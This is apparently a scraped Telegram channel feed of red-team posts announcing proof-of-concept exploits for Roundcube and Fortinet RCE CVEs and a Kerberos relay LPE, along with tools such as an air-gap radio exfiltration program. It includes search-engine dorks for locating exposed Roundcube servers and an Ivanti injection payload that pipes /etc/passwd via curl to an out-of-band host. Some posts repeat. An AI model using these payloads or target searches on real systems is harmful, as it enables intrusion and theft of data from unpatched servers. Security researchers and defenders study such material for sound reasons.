CVE-2025-49113 – Authenticated RCE in Roundcube via unsafe deserialization in upload.php
poc exploit
Query:
#cve #poc #exploit #pentest
🦅 @reconcore
poc exploit
Query:
FOFA: app="roundcube"
ZoomEye: app="RoundCube Webmail"
HUNTER: product.name="Roundcube Webmail"
FOFA: product="roundcube"
SHODAN: title:"Roundcube Webmail"
#cve #poc #exploit #pentest
🦅 @reconcore
Beginner Malware Analysis: Babuk Ransomware with IDA Pro (Stream - 13/05/2025)
YouTube
Beginner Malware Analysis: Babuk Ransomware with IDA Pro (Stream - 13/05/2025)
In this beginner malware analysis stream, we reverse engineered a Babuk Ransomware variant with IDA Pro. We analyzed its command-line parsing, service termination, process termination, anti-recovery commands, file encryption, share encryption, and manually…
CVE-2025-49113
Roundcube ≤ 1.6.10
Post-Auth RCE
ALL in ONE (roundcube in docker + POC)
#cve #auth #rce 🦅 @reconcore
Roundcube ≤ 1.6.10
Post-Auth RCE
ALL in ONE (roundcube in docker + POC)
#cve #auth #rce 🦅 @reconcore
CVE-2025-32756
Fortinet RCE (FortiVoice, FortiMail, FortiNDR, FortiRecorder, FortiCamera)
#cve #rce #forinet 🦅 @reconcore
Fortinet RCE (FortiVoice, FortiMail, FortiNDR, FortiRecorder, FortiCamera)
#cve #rce #forinet 🦅 @reconcore
bloodhound-quickwin
Простой скрипт для извлечения полезных данных из Neo4j базы, которую использует Bloodhound
Наглядно выводит информацию в консоль, коротко и по делу
#redteam #bloodhound #soft #python @reconcore
Простой скрипт для извлечения полезных данных из Neo4j базы, которую использует Bloodhound
Наглядно выводит информацию в консоль, коротко и по делу
python3 bhqc.py -h
python3 bhqc.py -p passwordNeo4JHere -d domain.local --heavy
#redteam #bloodhound #soft #python @reconcore
This media is not supported in your browser
VIEW IN TELEGRAM
System Bus Radio — история о том, как исследователь AM-волны вещал через компьютер 🐱
Но даже в такой ситуации ваши данные могут утечь!
Эта программа запускает на компьютере процессы, вызывающие электромагнитное излучение. Излучения имеют широкий частотный диапазон. Притом мощности сигнала уже сейчас хватает, чтобы «перебороть» экранирование и вещать вовне, пусть пока на весьма незначительное расстояние (порядка двух метров).
Таким образом эта программа может передавать секретные данные с компьютера через АМ-радиоволны и кто-то может удаленно принимать сигнал с помощью SDR-приемника.
#SDR #AM @reconcore
Но даже в такой ситуации ваши данные могут утечь!
Эта программа запускает на компьютере процессы, вызывающие электромагнитное излучение. Излучения имеют широкий частотный диапазон. Притом мощности сигнала уже сейчас хватает, чтобы «перебороть» экранирование и вещать вовне, пусть пока на весьма незначительное расстояние (порядка двух метров).
Таким образом эта программа может передавать секретные данные с компьютера через АМ-радиоволны и кто-то может удаленно принимать сигнал с помощью SDR-приемника.
#SDR #AM @reconcore
Tdesktop - это полный исходный код с инструкцией по сборке официального настольного клиента мессенджера Telegram, основанного на Telegram API и безопасном протоколе MTProto.
#telegram #opensource @reconcore
#telegram #opensource @reconcore
Wi-Fi-Flash-Drive - pseudo-USB-накопитель, который получает данные с PC по Wi-Fi (на базе ESP32-S2)
#wifi #fakewifi #esp @reconcore
#wifi #fakewifi #esp @reconcore
Ivanti Decrypt Stored SQL
POC
POC
https :// [ivanti-ip/domain]/api/v1/license/keys-status/;curl -X POST -d @/etc/passwd oastify[.]xxxxx
Cyber Security News
Ivanti Workspace Control Vulnerabilities Let Attackers Decrypt Stored SQL Credentials
Ivanti has issued urgent security updates for its Workspace Control platform after discovering three high-severity vulnerabilities that could allow attackers to decrypt stored SQL credentials.
CVE-2025-33073: Reflective Kerberos Relay (LPE)
Blog
Patched: June 10, 2025
Интересная LPE с релеем на себя... Даже CVE есть)
#lpe #ad #relay #pentest #redteam
Blog
Patched: June 10, 2025
Интересная LPE с релеем на себя... Даже CVE есть)
#lpe #ad #relay #pentest #redteam
RedTeam Pentesting - Blog
A Look in the Mirror - The Reflective Kerberos Relay Attack
It is a sad truth in IT security that some vulnerabilities never quite want to die and time and time again, vulnerabilities that have long been fixed get revived and come right back at you. While researching relay attacks, the bane of Active …